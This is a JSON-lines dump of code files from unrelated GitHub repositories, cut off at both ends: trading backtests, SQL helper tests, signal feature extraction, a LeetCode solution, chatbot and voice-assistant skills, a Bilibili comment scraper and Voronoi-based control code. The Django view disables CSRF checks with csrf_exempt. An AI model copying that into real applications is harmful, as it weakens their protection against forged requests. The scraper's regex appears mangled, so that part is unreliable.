"line_number": 43, "usage_type": "call"}]} {"seq_id": "7342580100", "text": "from strategy.cross_ma import SMACross\nfrom datetime import datetime\n\nimport backtrader as bt\nimport os\n\ncerebro=bt.Cerebro(tradehistory=True)\nbasic_path='/media/star/data/backtrader_data'\nread_file=os.path.join(basic_path,'600000qfq.csv')\n\n\ndata=bt.feeds.GenericCSVData(\n dataname=read_file,\n datetime=2,\n open=3,\n high=4,\n low=5,\n close=6,\n volume=10,\n openinterest=-1,\n dtformat=('%Y%m%d'),\n fromdate=datetime(2019,1,1),\n todate=datetime(2020,7,8))\ncerebro.adddata(data)\ncerebro.addstrategy(SMACross)\ncerebro.broker.setcash(10000.0)\ncerebro.broker.setcommission(0.001)\ncerebro.broker.set_slippage_fixed(0.05)\nprint('original market value: %0.2f' % cerebro.broker.get_value())\n# preload if is False means that strategy will not load whole data into memory\n# exactbars will load how many real bars we have to use and banned for plotting with no enough bars to plot\n# cerebro=bt.Cerebro(runonce=False,exactbars=0) has same function to below setense\ncerebro.run(runonce=False,exactbars=-1)\nprint('final market value: %0.2f' % cerebro.broker.get_value())\ncerebro.plot(style='bar')", "repo_name": "jarekqin/mybacktrader", "sub_path": "main_test/cross_ma_test.py", "file_name": "cross_ma_test.py", "file_ext": "py", "file_size_in_byte": 1112, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "backtrader.Cerebro", "line_number": 7, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "backtrader.feeds.GenericCSVData", "line_number": 12, "usage_type": "call"}, {"api_name": "backtrader.feeds", "line_number": 12, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 22, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 23, "usage_type": "call"}, {"api_name": "strategy.cross_ma.SMACross", "line_number": 25, "usage_type": "argument"}]} {"seq_id": "40152749595", "text": "\"\"\"Test the helper functions are working correctly.\"\"\"\nfrom typing import List, Union\n\nimport pandas as pd\nimport pytest\n\nfrom sqltools import executers, helpers\n\n\ndef test_temp_table() -> None:\n \"\"\"Test that ``TempTable`` can create a table that can be queried.\"\"\"\n expected_data = pd.DataFrame({\"test\": [1]})\n tt = \"\"\"\n --sql\n SELECT\n 1 test INTO ##one;\n \"\"\"\n one = helpers.TempTable(tt)\n query = \"\"\"\n --sql\n SELECT\n *\n FROM\n ##one;\n \"\"\"\n actual_data = executers.run_query(query)\n one.close()\n pd.testing.assert_frame_equal(expected_data, actual_data)\n\n\ndef test_show_temp() -> None:\n \"\"\"Test that ``show_temp`` is showing all temporary tables.\"\"\"\n expected_table = \"##one\"\n tt = \"\"\"\n --sql\n SELECT\n 1 test INTO ##one;\n \"\"\"\n one = helpers.TempTable(tt)\n table_names = helpers.show_temp()[\"name\"].values\n one.close()\n assert expected_table in table_names\n\n\ndef test_find_cols() -> None:\n \"\"\"Test that ``find_cols`` runs.\"\"\"\n expected_columns = [\"column_name\", \"table_name\"]\n actual_columns = helpers.find_cols(\"test\").columns.tolist()\n assert expected_columns == actual_columns\n\n\ndef test_find_tables() -> None:\n \"\"\"Test that ``find_tables`` runs.\"\"\"\n expected_columns = [\"table_name\"]\n actual_columns = helpers.find_tables(\"test\").columns.tolist()\n assert expected_columns == actual_columns\n\n\n@pytest.mark.parametrize([\"n\", \"expected_rows\"], [(1, 1), (5, 5)])\ndef test_head(n: int, expected_rows: int) -> None:\n \"\"\"Test that ``head`` retruns the top ``n`` rows of a ``sys.tables``.\"\"\"\n actual_rows = helpers.head(\"sys.tables\", n=n).shape[0]\n assert actual_rows == expected_rows\n\n\ndef test_get_cols() -> None:\n \"\"\"Test if ``get_cols`` returns the column names of ``sys.tables``.\"\"\"\n expected_columns = [\n \"name\",\n \"object_id\",\n \"principal_id\",\n \"schema_id\",\n \"parent_object_id\",\n \"type\",\n \"type_desc\",\n \"create_date\",\n \"modify_date\",\n \"is_ms_shipped\",\n \"is_published\",\n \"is_schema_published\",\n \"lob_data_space_id\",\n \"filestream_data_space_id\",\n \"max_column_id_used\",\n \"lock_on_bulk_load\",\n \"uses_ansi_nulls\",\n \"is_replicated\",\n \"has_replication_filter\",\n \"is_merge_published\",\n \"is_sync_tran_subscribed\",\n \"has_unchecked_assembly_data\",\n \"text_in_row_limit\",\n \"large_value_types_out_of_row\",\n \"is_tracked_by_cdc\",\n \"lock_escalation\",\n \"lock_escalation_desc\",\n \"is_filetable\",\n \"is_memory_optimized\",\n \"durability\",\n \"durability_desc\",\n \"temporal_type\",\n \"temporal_type_desc\",\n \"history_table_id\",\n \"is_remote_data_archive_enabled\",\n \"is_external\",\n ]\n actual_columns = helpers.get_cols(\"sys.tables\")\n assert actual_columns == expected_columns\n\n\n@pytest.mark.parametrize(\n [\"python_list\", \"force_string\", \"expected_sql_list\"],\n [\n ([1, 2, 3, 4, 5], False, \"(1, 2, 3, 4, 5)\"),\n ([\"a\", \"e\", \"i\", \"o\", \"u\"], False, \"('a', 'e', 'i', 'o', 'u')\"),\n ([1, 2, 3, 4, 5], True, \"('1', '2', '3', '4', '5')\"),\n (\"a\", False, \"('a')\"),\n ],\n)\ndef test_to_sql_list(\n python_list: Union[str, int, float, List[Union[str, int, float]]],\n force_string: bool,\n expected_sql_list: str,\n) -> None:\n \"\"\"Test is ``to_sql_list`` propertly converts Python lists to SQL.\"\"\"\n actual_sql_list = helpers.to_sql_list(python_list, force_string=force_string)\n assert actual_sql_list == expected_sql_list\n", "repo_name": "paw-lu/sqltools", "sub_path": "tests/test_helpers.py", "file_name": "test_helpers.py", "file_ext": "py", "file_size_in_byte": 3659, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pandas.DataFrame", "line_number": 12, "usage_type": "call"}, {"api_name": "sqltools.helpers.TempTable", "line_number": 18, "usage_type": "call"}, {"api_name": "sqltools.helpers", "line_number": 18, "usage_type": "name"}, {"api_name": "sqltools.executers.run_query", "line_number": 26, "usage_type": "call"}, {"api_name": "sqltools.executers", "line_number": 26, "usage_type": "name"}, {"api_name": "pandas.testing.assert_frame_equal", "line_number": 28, "usage_type": "call"}, {"api_name": "pandas.testing", "line_number": 28, "usage_type": "attribute"}, {"api_name": "sqltools.helpers.TempTable", "line_number": 39, "usage_type": "call"}, {"api_name": "sqltools.helpers", "line_number": 39, "usage_type": "name"}, {"api_name": "sqltools.helpers.show_temp", "line_number": 40, "usage_type": "call"}, {"api_name": "sqltools.helpers", "line_number": 40, "usage_type": "name"}, {"api_name": "sqltools.helpers.find_cols", "line_number": 48, "usage_type": "call"}, {"api_name": "sqltools.helpers", "line_number": 48, "usage_type": "name"}, {"api_name": "sqltools.helpers.find_tables", "line_number": 55, "usage_type": "call"}, {"api_name": "sqltools.helpers", "line_number": 55, "usage_type": "name"}, {"api_name": "sqltools.helpers.head", "line_number": 62, "usage_type": "call"}, {"api_name": "sqltools.helpers", "line_number": 62, "usage_type": "name"}, {"api_name": "pytest.mark.parametrize", "line_number": 59, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 59, "usage_type": "attribute"}, {"api_name": "sqltools.helpers.get_cols", "line_number": 106, "usage_type": "call"}, {"api_name": "sqltools.helpers", "line_number": 106, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 120, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 120, "usage_type": "name"}, {"api_name": "sqltools.helpers.to_sql_list", "line_number": 125, "usage_type": "call"}, {"api_name": "sqltools.helpers", "line_number": 125, "usage_type": "name"}, {"api_name": "pytest.mark.parametrize", "line_number": 110, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 110, "usage_type": "attribute"}]} {"seq_id": "70284920224", "text": "import numpy as np\nimport math\nfrom tqdm import tqdm\nimport pyarrow.parquet as pq\nimport pandas as pd\nimport pywt\nfrom scipy import signal, stats\nfrom tsfresh.feature_extraction.feature_calculators import *\n\n\ndef maddest(d, axis=None):\n return np.mean(np.absolute(d - np.mean(d, axis)), axis)\n\n\ndef high_pass_filter(x, low_cutoff=1000, sample_rate=50 * 800000):\n nyquist = 0.5 * sample_rate\n norm_low_cutoff = low_cutoff / nyquist\n sos = signal.butter(10, Wn=[norm_low_cutoff], btype='highpass', output='sos')\n filtered_sig = signal.sosfilt(sos, x)\n return filtered_sig\n\n\ndef wavelet_denoise(x, wavelet='db1', level=1):\n coeff = pywt.wavedec(x, wavelet, mode=\"per\")\n sigma = (1 / 0.6745) * maddest(coeff[-level])\n uthresh = sigma * np.sqrt(2 * np.log(len(x)))\n coeff[1:] = (pywt.threshold(i, value=uthresh, mode='hard') for i in coeff[1:])\n return pywt.waverec(coeff, wavelet, mode='per')\n\n\ndef signal_entropy(y):\n for i in range(3):\n max_pos = y.argmax()\n y[max_pos - 1000:max_pos + 1000] = 0.\n\n return stats.entropy(np.histogram(y, 15)[0])\n\n\ndef detail_coeffs_entropy(x, wavelet='db1'):\n c_a, c_d = pywt.dwt(x, wavelet)\n\n return stats.entropy(np.histogram(c_d, 15)[0])\n\n\ndef bucketed_entropy(x):\n y = wavelet_denoise(x)\n\n return np.array([stats.entropy(np.histogram(bucket, 10)[0]) for bucket in np.split(y, 10)])\n\n\ndef peaks(x):\n y = wavelet_denoise(x)\n peaks, properties = signal.find_peaks(y)\n widths = signal.peak_widths(y, peaks)[0]\n prominences = signal.peak_prominences(y, peaks)[0]\n return {\n 'count': peaks.size,\n 'width_mean': widths.mean() if widths.size else -1.,\n 'width_max': widths.max() if widths.size else -1.,\n 'width_min': widths.min() if widths.size else -1.,\n 'prominence_mean': prominences.mean() if prominences.size else -1.,\n 'prominence_max': prominences.max() if prominences.size else -1.,\n 'prominence_min': prominences.min() if prominences.size else -1.,\n }\n\n\ndef feature(ts, n_dim=160):\n # https://www.kaggle.com/c/vsb-power-line-fault-detection/discussion/80166\n ts = high_pass_filter(ts, low_cutoff=10000, sample_rate=50 * 800000)\n ts_std = wavelet_denoise(ts)\n bucket_size = int(800000 / n_dim)\n new_ts = []\n for i in range(0, 800000, bucket_size):\n ts_range = ts_std[i:i + bucket_size]\n\n mean = ts_range.mean()\n std = ts_range.std()\n std_top = mean + std\n std_bot = mean - std\n percentil_calc = np.percentile(ts_range, [0, 1, 25, 30, 50, 60, 75, 99, 100])\n max_range = percentil_calc[-1] - percentil_calc[0]\n kurt = stats.kurtosis(ts_range)\n entropy = signal_entropy(ts_range)\n de_coeffs_entropy = detail_coeffs_entropy(ts_range)\n bucketed_entropy_ = bucketed_entropy(ts_range)\n peak = peaks(ts_range)\n c = peak['count']\n width_mean = peak['width_mean']\n width_max = peak['width_max']\n width_min = peak['width_min']\n prominence_mean = peak['prominence_mean']\n prominence_max = peak['prominence_max']\n prominence_min = peak['prominence_min']\n relative_percentile = percentil_calc - mean\n complexity = cid_ce(ts_range, normalize=True)\n nonlinear = c3(ts_range, lag=50)\n\n new_ts.append(\n np.concatenate(\n [np.asarray([mean, std, std_top, std_bot, max_range, entropy,\n kurt, de_coeffs_entropy, c, width_mean, width_max,\n width_min, prominence_mean, prominence_max, prominence_min,\n complexity, nonlinear]),\n percentil_calc,\n relative_percentile,\n bucketed_entropy_,\n ]))\n return np.asarray(new_ts)\n\n\ndef get_score(y_true, y_pred):\n y_true = y_true.reshape(-1)\n y_pred = y_pred.reshape(-1)\n y_pred_pos = np.round(y_pred)\n y_pred_neg = 1 - y_pred_pos\n y_pos = np.round(y_true)\n y_neg = 1 - y_pos\n\n tp = np.sum(y_pos * y_pred_pos)\n tn = np.sum(y_neg * y_pred_neg)\n fp = np.sum(y_neg * y_pred_pos)\n fn = np.sum(y_pos * y_pred_neg)\n\n return (tp * tn - fp * fn) / (np.sqrt((tp + fp) * (tp + fn) * (tn + fp) * (tn + fn)) + 1e-15)\n\n\ndef threshold_search(y_true, y_proba):\n best_threshold = 0\n best_score = 0\n raw_score = get_score(y_true.astype(np.float64), (y_proba > 0.5).astype(np.float64))\n for th in np.linspace(0, 1, 100):\n score = get_score(y_true.astype(np.float64), (y_proba > th).astype(np.float64))\n if score > best_score:\n best_threshold = th\n best_score = score\n\n return best_threshold, best_score, raw_score\n\n\ndef preprocess(df):\n if 'target' not in df.columns:\n df['target'] = np.zeros(len(df))\n\n def flatten(data):\n id_measurement = data['id_measurement'].values[0]\n target = f\"{data['target'].values[0]}{data['target'].values[1]}{data['target'].values[2]}\"\n record = [id_measurement, target] + data['signal_id'].tolist()\n return pd.Series(record, index=['id_measurement', 'target', 'signal_id1', 'signal_id2', 'signal_id3'])\n\n df = df.sort_values(by=['id_measurement', 'phase'], ascending=True)[['signal_id', 'id_measurement', 'target']]\n df = df.groupby(by=['id_measurement']).apply(flatten)\n return df\n\n\ndef worker(data, dim):\n r = []\n for x in data:\n y = feature(x, n_dim=dim)\n r.append(y)\n return r\n\n\ndef downsample(dim=160):\n import multiprocessing as mp\n\n def fun(train=True, dim=160):\n f = 'train'\n if not train:\n f = 'test'\n signal_data = pq.read_pandas(f'../data/{f}.parquet').to_pandas().values.T\n pool = mp.Pool()\n num_worker = mp.cpu_count()\n num_samples = len(signal_data)\n avg = 1 + num_samples // num_worker\n res = []\n for i in range(num_worker):\n result = pool.apply_async(worker, args=(signal_data[i * avg:(i + 1) * avg], dim))\n res.append(result)\n pool.close()\n pool.join()\n\n results = []\n\n for r in res:\n results += r.get()\n results = np.asanyarray(results)\n np.save(f'../data/downsampling_{dim}_{f}_signal.npy', results)\n\n fun(train=True, dim=dim)\n fun(train=False, dim=dim)\n\n\nif __name__ == '__main__':\n # downsample(dim=160)\n t = np.load('../data/downsampling_160_train_signal.npy')\n print(t.shape)\n df = pd.read_csv('../data/metadata_train.csv')\n df = preprocess(df)\n print(df)\n # x = np.random.randn(100)\n", "repo_name": "HadXu/kaggle_vsb", "sub_path": "vsb/code/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 6596, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.mean", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.absolute", "line_number": 12, "usage_type": "call"}, {"api_name": "scipy.signal.butter", "line_number": 18, "usage_type": "call"}, {"api_name": "scipy.signal", "line_number": 18, "usage_type": "name"}, {"api_name": "scipy.signal.sosfilt", "line_number": 19, "usage_type": "call"}, {"api_name": "scipy.signal", "line_number": 19, "usage_type": "name"}, {"api_name": "pywt.wavedec", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 26, "usage_type": "call"}, {"api_name": "pywt.threshold", "line_number": 27, "usage_type": "call"}, {"api_name": "pywt.waverec", "line_number": 28, "usage_type": "call"}, {"api_name": "scipy.stats.entropy", "line_number": 36, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 36, "usage_type": "name"}, {"api_name": "numpy.histogram", "line_number": 36, "usage_type": "call"}, {"api_name": "pywt.dwt", "line_number": 40, "usage_type": "call"}, {"api_name": "scipy.stats.entropy", "line_number": 42, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 42, "usage_type": "name"}, {"api_name": "numpy.histogram", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 48, "usage_type": "call"}, {"api_name": "scipy.stats.entropy", "line_number": 48, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 48, "usage_type": "name"}, {"api_name": "numpy.histogram", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.split", "line_number": 48, "usage_type": "call"}, {"api_name": "scipy.signal.find_peaks", "line_number": 53, "usage_type": "call"}, {"api_name": "scipy.signal", "line_number": 53, "usage_type": "name"}, {"api_name": "scipy.signal.peak_widths", "line_number": 54, "usage_type": "call"}, {"api_name": "scipy.signal", "line_number": 54, "usage_type": "name"}, {"api_name": "scipy.signal.peak_prominences", "line_number": 55, "usage_type": "call"}, {"api_name": "scipy.signal", "line_number": 55, "usage_type": "name"}, {"api_name": "numpy.percentile", "line_number": 80, "usage_type": "call"}, {"api_name": "scipy.stats.kurtosis", "line_number": 82, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 82, "usage_type": "name"}, {"api_name": "numpy.concatenate", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 130, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 132, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 142, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 148, "usage_type": "call"}, {"api_name": "pyarrow.parquet.read_pandas", "line_number": 170, "usage_type": "call"}, {"api_name": "pyarrow.parquet", "line_number": 170, "usage_type": "name"}, {"api_name": "multiprocessing.Pool", "line_number": 171, "usage_type": "call"}, {"api_name": "multiprocessing.cpu_count", "line_number": 172, "usage_type": "call"}, {"api_name": "numpy.asanyarray", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 187, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 195, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 197, "usage_type": "call"}]} {"seq_id": "37730797333", "text": "# 84. Largest Rectangle in Histogram\n# Hard\n# 13.4K\n# 190\n# company\n# Amazon\n# company\n# Adobe\n# company\n# Apple\n\n# Given an array of integers heights representing the histogram's bar height where the width of each bar is 1, return the area of the largest rectangle in the histogram.\n\n \n\n# Example 1:\n\n# Input: heights = [2,1,5,6,2,3]\n# Output: 10\n# Explanation: The above is a histogram where width of each bar is 1.\n# The largest rectangle is shown in the red area, which has an area = 10 units.\n\n# Example 2:\n\n# Input: heights = [2,4]\n# Output: 4\n\n \n\n# Constraints:\n\n# 1 <= heights.length <= 105\n# 0 <= heights[i] <= 104\n\n# Accepted\n# 635.3K\n# Submissions\n# 1.5M\n# Acceptance Rate\n# 42.4%\n\nfrom typing import List\n\n\nclass Solution:\n def largestRectangleArea(self, heights: List[int]) -> int:\n\n maxArea = 0\n stack = []\n\n for i in range(len(heights)):\n start = i\n while stack and stack[-1][1] > heights[i]:\n idx, height = stack.pop()\n maxArea = max(maxArea, height * (i - idx))\n start = idx\n stack.append((start, heights[i]))\n \n for i, h in stack:\n maxArea = max(maxArea, h * (len(heights) - i))\n\n return maxArea\n ", "repo_name": "hankthetank27/leetcode-solutions", "sub_path": "py-solutions/stack/largest-rectange-in-histogram.py", "file_name": "largest-rectange-in-histogram.py", "file_ext": "py", "file_size_in_byte": 1264, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.List", "line_number": 46, "usage_type": "name"}]} {"seq_id": "6249340104", "text": "from .util.util import *\nfrom telegram.ext import CommandHandler\n\nasync def set_names(update, context):\n names = context.args\n context.chat_data.__init__()\n context.chat_data.names = names\n await update.message.reply_text(get_reply_text(context), reply_markup=build_keyboard(names))\n\ngroup_handler = CommandHandler('group', set_names)", "repo_name": "nickyfoo/paymenowbot", "sub_path": "polling/handlers/group_handler.py", "file_name": "group_handler.py", "file_ext": "py", "file_size_in_byte": 346, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "telegram.ext.CommandHandler", "line_number": 10, "usage_type": "call"}]} {"seq_id": "12738644719", "text": "from mycroft import MycroftSkill, intent_file_handler, util as mutil\nfrom pint import UnitRegistry\n\nclass UnitConverter(MycroftSkill):\n def __init__(self):\n MycroftSkill.__init__(self)\n self.units = UnitRegistry()\n self.Q_ = self.units.Quantity\n \n @intent_file_handler('converter.unit.intent')\n def handle_converter_unit(self, message):\n try:\n d = message.data\n (firstu, secondu, seconda) = (d['firstunit'], d['secondunit'], d['secondamount'])\n seconda = '1' if seconda == \"a\" else seconda\n qfrom = self.Q_(seconda + \" * \" + secondu);\n qTo = qfrom.to(firstu)\n resDict = {\n 'firstAmount': mutil.nice_number(qTo.magnitude),\n 'firstUnit': firstu,\n 'secondAmount': seconda,\n 'secondUnit': secondu\n }\n self.speak_dialog('converter.unit', resDict)\n except:\n self.speak_dialog('converter.unit.failed')\n\ndef create_skill():\n return UnitConverter()\n\n", "repo_name": "tom-servo/unit-converter-skill", "sub_path": "__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 1054, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "mycroft.MycroftSkill", "line_number": 4, "usage_type": "name"}, {"api_name": "mycroft.MycroftSkill.__init__", "line_number": 6, "usage_type": "call"}, {"api_name": "mycroft.MycroftSkill", "line_number": 6, "usage_type": "name"}, {"api_name": "pint.UnitRegistry", "line_number": 7, "usage_type": "call"}, {"api_name": "mycroft.util.nice_number", "line_number": 19, "usage_type": "call"}, {"api_name": "mycroft.util", "line_number": 19, "usage_type": "name"}, {"api_name": "mycroft.intent_file_handler", "line_number": 10, "usage_type": "call"}]} {"seq_id": "5817721255", "text": "import requests\nimport re\n\n\nurl = 'https://api.bilibili.com/x/v1/dm/list.so?oid=765060141'\n\nheaders = {\n 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 '\n 'Safari/537.36',\n}\nresponse = requests.get(url=url, headers=headers)\n# 解决网页数据乱码\nresponse.encoding = 'utf-8'\ncontent_list = re.findall('(.*?)', response.text)\nprint(content_list)\nfor content in content_list:\n with open('弹幕.txt', mode='a', encoding='utf-8') as f:\n f.write(content)\n # 把数据换行\n f.write('\\n')\n", "repo_name": "xiaoxu123195/Reptile_Collection", "sub_path": "B站杰伦/弹幕.py", "file_name": "弹幕.py", "file_ext": "py", "file_size_in_byte": 614, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "requests.get", "line_number": 11, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 14, "usage_type": "call"}]} {"seq_id": "4990672744", "text": "from django.views import View\nfrom django.shortcuts import redirect, render\n# import the csrf_exempt decorator\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.utils.decorators import method_decorator\n\ndecorators = [\n csrf_exempt\n]\n\n\n@method_decorator(decorators, name='dispatch')\nclass IndexView(View):\n \"\"\"\n Main page of the website\n \"\"\"\n\n template_name = 'login_signup/index.html'\n\n @staticmethod\n def redirect_to_signup(request):\n \"\"\"\n Redirect to the signup page dependig on the value of the button.\n The button value is like : `personal&login` or `personal&signup` or `medical&login` or `medical&signup`\n \"\"\"\n\n person, direction = request.POST.get('button').split(\"&\")\n\n if person == 'personal':\n response = redirect('login') if direction == 'login' else redirect('login_signup:signup', 1)\n response.set_cookie('medical', False)\n return response\n\n if person == 'medical':\n response = redirect('login') if direction == 'login' else redirect('login_signup:signup', 1)\n response.set_cookie('medical', True)\n return response\n\n return redirect('login_signup:index')\n\n def get(self, request):\n\n # Don't render immediately but first set the cookie\n if request.user.is_authenticated:\n return redirect('home:home')\n response = render(request, self.template_name)\n response.set_cookie('medical', False)\n\n return response\n\n def post(self, request):\n resonse = self.redirect_to_signup(request)\n return resonse\n", "repo_name": "Redshark61/mon-carnet-de-sante", "sub_path": "health_book/login_signup/views/indexView.py", "file_name": "indexView.py", "file_ext": "py", "file_size_in_byte": 1629, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 8, "usage_type": "name"}, {"api_name": "django.views.View", "line_number": 13, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 30, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 35, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 39, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 45, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 46, "usage_type": "call"}, {"api_name": "django.utils.decorators.method_decorator", "line_number": 12, "usage_type": "call"}]} {"seq_id": "24517823908", "text": "import numpy as np\nfrom copy import copy\nfrom scipy.spatial import Voronoi\nfrom copy import copy\n\n# drake\nfrom pydrake.all import (FirstOrderTaylorApproximation,\n BasicVector,\n VectorSystem,\n MathematicalProgram,\n SolutionResult)\nfrom pydrake.solvers.gurobi import GurobiSolver\n\n# pympc\nfrom pympc.geometry.polyhedron import Polyhedron\nfrom pympc.dynamics.discrete_time_systems import LinearSystem, AffineSystem, PieceWiseAffineSystem\nfrom pympc.optimization.programs import linear_program\n\ndef _voronoi_nd(points):\n \"\"\"\n Given a list of n-dimensional points, returns the Voronoi partition of the space as a list of Polyhedron (pympc class).\n Uses the scipy wrapper of Voronoi from Qhull.\n Does not work in case of 1-dimensional points.\n\n Arguments\n ----------\n points : list of numpy.ndarray\n Points for the Voronoi partition.\n\n Returns\n ----------\n partition : list of Polyhedron\n Halfspace representation of all the cells of the partiotion.\n \"\"\"\n\n # loop over points\n partition = []\n for i, point in enumerate(points):\n\n # h-rep of the cell for the point i\n A = []\n b = []\n\n # loop over the points that share a facet with point i\n for ridge in Voronoi(points).ridge_points:\n if i in ridge:\n\n # vector from point i to the neighbor\n bottom = point\n tip = points[ridge[1 - ridge.tolist().index(i)]]\n\n # hyperplane that separates point i and its neighbor\n Ai = tip - point\n center = bottom + (tip - bottom) / 2.\n bi = Ai.dot(center)\n A.append(Ai)\n b.append(bi)\n\n # assemble cell i and add to partition\n cell = Polyhedron(np.vstack(A), np.array(b))\n cell.normalize()\n partition.append(cell)\n\n return partition\n\ndef _voronoi_1d(points):\n \"\"\"\n Given a list of 1-dimensional points, returns the Voronoi partition of the space as a list of Polyhedron (pympc class).\n\n Arguments\n ----------\n points : list of numpy.ndarray\n Points for the Voronoi partition.\n\n Returns\n ----------\n partition : list of Polyhedron\n Halfspace representation of all the cells of the partiotion.\n \"\"\"\n\n # order point from smallest to biggest\n points = sorted(points)\n\n # loop from the smaller point\n polyhedra = []\n for i, point in enumerate(points):\n\n # h-rep of the cell for the point i\n A = []\n b = []\n\n # get previous and next point (if any)\n tips = []\n if i > 0:\n tips.append(points[i-1])\n if i < len(points)-1:\n tips.append(points[i+1])\n\n\n # vector from point i to the next/previous point\n for tip in tips:\n bottom = point\n center = bottom + (tip - bottom) / 2.\n\n # hyperplane that separates point i and its neighbor\n Ai = tip - point\n bi = Ai.dot(center)\n A.append(Ai)\n b.append(bi)\n\n # assemble cell i and add to partition\n polyhedron = Polyhedron(np.vstack(A), np.array(b))\n polyhedron.normalize()\n polyhedra.append(polyhedron)\n\n return polyhedra\n\ndef constrained_voronoi(points, X=None):\n \"\"\"\n Given a list of n-dimensional points, returns the Voronoi partition of the Polyhedron X as a list of Polyhedron.\n If X is None, returns the partition of the whole space.\n\n Arguments\n ----------\n points : list of numpy.ndarray\n Points for the Voronoi partition.\n X : Polyhedron\n Set we want to partition.\n\n Returns\n ----------\n partition : list of Polyhedron\n Halfspace representation of all the cells of the partiotion.\n \"\"\"\n\n # get indices of non-coincident coordinates\n nx = min(p.size for p in points)\n assert nx == max(p.size for p in points)\n indices = [i for i in range(nx) if not np.isclose(min([p[i] for p in points]), max([p[i] for p in points]))]\n\n # get voronoi partition without boundaries\n points_lower_dimensional = [p[indices] for p in points]\n if len(indices) == 1:\n vor = _voronoi_1d(points_lower_dimensional)\n else:\n vor = _voronoi_nd(points_lower_dimensional)\n\n # go back to the higher dimensional space\n partition = [Polyhedron(np.zeros((0,nx)), np.zeros(0)) for i in points]\n for i, cell in enumerate(vor):\n partition[i].add_inequality(cell.A, cell.b, indices=indices)\n\n # intersect with X is provided\n if X is not None:\n partition[i].add_inequality(X.A, X.b)\n\n return partition\n\ndef pwa_from_RigidBodyPlant(plant, linearization_points, X, U, h, method='zero_order_hold'):\n \"\"\"\n\n Arguments\n ----------\n plant : RigidBodyPlant\n RigidBodyPlant of the robot.\n linearization_points : list of numpy.ndarray\n Points in the state space where to linearize the dynamics.\n X : Polyhedron\n Overall bounds of the state space.\n U : Polyhedron\n Overall bounds of the control space.\n h : float\n Sampling time for the time discretization of the PWA system.\n method : string\n Method used to discretize each piece of the PWA dynamics ('explicit_euler' or 'zero_order_hold').\n\n Returns\n ----------\n PWA : PieceWiseAffineSystem\n \"\"\"\n\n # partition of the state space\n X_partition = constrained_voronoi(linearization_points, X)\n domains = [Xi.cartesian_product(U) for Xi in X_partition]\n\n # create context\n context = plant.CreateDefaultContext()\n state = context.get_mutable_continuous_state_vector()\n input = BasicVector(np.array([0.]))\n context.FixInputPort(0, input)\n\n # affine systems\n affine_systems = []\n for x in linearization_points:\n state.SetFromVector(x)\n taylor_approx = FirstOrderTaylorApproximation(plant, context)\n affine_system = AffineSystem.from_continuous(\n taylor_approx.A(),\n taylor_approx.B(),\n taylor_approx.f0(),\n h,\n method\n )\n affine_systems.append(affine_system)\n\n return PieceWiseAffineSystem(affine_systems, domains)\n\nclass Controller(VectorSystem):\n \"\"\"\n Wrapper for the 